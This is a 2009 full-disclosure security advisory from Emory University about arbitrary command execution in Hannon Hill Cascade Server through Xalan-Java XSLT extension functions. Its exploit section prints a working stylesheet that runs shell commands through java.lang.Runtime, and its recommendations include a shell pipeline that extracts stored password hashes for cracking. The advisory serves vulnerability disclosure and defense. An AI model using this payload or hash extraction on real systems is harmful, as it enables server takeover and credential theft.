Message-ID: <20090319190958.GH12695@dx4.org>
Date: Thu, 19 Mar 2009 15:09:58 -0400
From: Elliot Kendall <elliot.kendall@...ry.edu>
To: full-disclosure@...ts.grok.org.uk
Subject: Command Execution in Hannon Hill Cascade Server

Emory University UTS Security Advisory EMORY-2009-01

Topic: Command Execution in Hannon Hill Cascade Server

Original release date: March 19, 2009

SUMMARY
=======

Hannon Hill's Cascade Server product is vulnerable to a command
execution vulnerability. An attacker with access to an unprivileged
account within Cascade Server could exploit this vulnerability to run
arbitrary commands on the system with the privileges of the user who
started Cascade Server.

AFFECTED SOFTWARE
=================

* Cascade Server, all versions

IMPACT
======

An attacker with access to an unprivileged account within Cascade
Server could exploit this vulnerability to run arbitrary commands on
the system with the privileges of the user who started Cascade Server.

The privileges of that user are necessarily sufficient to gain full
administrative control of Cascade Server - elevate privileges, conduct
denial of service, etc. 

DETAILS
=======

Cascade Server allows its users to write XSLT stylesheets which it
uses to transform XML source data into HTML or other formats. Cascade
Server employs the Apache XML Project's Xalan-Java XSLT processor to
perform these transformations.

The Xalan-Java site states, "For those situations where you would like
to augment the functionality of XSLT with calls to a procedural
language, Xalan-Java supports the creation and use of extension
elements and extension functions... Extensions written in Java are
directly supported by Xalan-Java."

Because Cascade Server does not restrict the kind of XSLT code users
are able to enter, any user with access to edit XSLT stylesheets can
cause Cascade Server to execute arbitrary Java code. Using the
java.lang.Runtime class, Java can run shell commands.

While the privilege level of the Cascade Server process may prevent
an attacker from gaining complete control of the host system, that
privilege level is necessarily sufficient to gain full control of
Cascade Server.

SOLUTION
========

No full solution exists at this time, but see Recommendations, below.

Hannon Hill is working to develop an official solution, and customers may
wish to monitor its progress using the Hannon Hill ticketing system
(requires a customer account).

http://support.hannonhill.com/browse/CSCD-4753

RECOMMENDATIONS
===============

It may be possible to limit exposure in the following ways:

* Grant the ability to edit XSLT files only to trusted users.

* Enforce strong passwords for accounts with XSLT editing privileges.
Cascade stores user passwords as base64 encoded SHA1 hashes in the
password field of the cxml_user table, and can be audited with any
SHA1-capable password cracker. For example, to extract hashes from a
MySQL database in a form useable by John the Ripper's
(http://www.openwall.com/john/) raw-sha1 format:

echo "select userName, password from cxml_user" \
 | mysql cascade \
 | perl -i -ne 'use MIME::Base64; /^(.*?)\t(.*)/ && print "$1:" . unpack("H*", decode_base64($2))."\n"'

* Run Cascade Server as a user with as few privileges as possible.

* On UNIX systems, run Cascade Server in a chroot environment.

EXPLOIT
=======

This exploit example assumes the ability to create and edit blocks,
stylesheets, and pages. It's also possible to exploit the
vulnerability simply by modifying an existing stylesheet.

Create a stylesheet with the following contents:

<?xml version="1.0"?>
<xsl:stylesheet exclude-result-prefixes="java" version="1.0"
 xmlns:bufferedreader="xalan://java.io.BufferedReader"
 xmlns:inputstreamreader="xalan://java.io.InputStreamReader"
 xmlns:java="http://xml.apache.org/xalan/java"
 xmlns:process="xalan://java.lang.Process"
 xmlns:runtime="xalan://java.lang.Runtime"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="runtime" select="runtime:getRuntime()"/>
  <xsl:template match="//command"> 
      <xsl:variable name="process" select="runtime:exec($runtime, string(.))"/>
      <xsl:variable name="inputstream" select="process:getInputStream($process)"/>
      <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
      <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
      <p>
        Output: <xsl:value-of select="bufferedreader:readLine($bufferedreader)"/><br/>
      </p>
  </xsl:template>
</xsl:stylesheet>

Create an XML block with the following contents, substituting your own
command or commands.

<command>id</command>
<command>uname -a</command>
...

Create or edit a page using a template with at least one region defined.
Under the configuration tab, set Block to point to your XML block and
Stylesheet (AKA Layout in Cascade 5.7+) to point to your stylesheet.

View the layout or preview tab for that page, and you should see the
output of your commands. Note that the above stylesheet is only able
to display the first line of output.

ACKNOWLEDGMENTS
===============

Thanks to Bradley Wagner and Hannon Hill in general for their quick
initial response to the problem.

Thanks to Amy Liu and Brett Goodwin of Hannon Hill for their "Advanced
XSLT" talk at the 2008 Cascade Server User's Conference, which
inspired this research.

DISCLAIMER
==========

The information in this advisory is provided by Emory as a courtesy
and without any representations or warranties.  Recipients are
advised to conduct their own investigation and due diligence before
relying on its contents.

VULNERABILTY HISTORY
====================

2008-10-01  Vulnerability discovered
            Hannon Hill notified
            Ticket opened in Hannon Hill issue tracker

2008-10-15  Hannon Hill staff member assigned to the issue

2009-02-23  Hannon Hill staff member reassigned

2009-03-19  Initial revision of advisory published

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists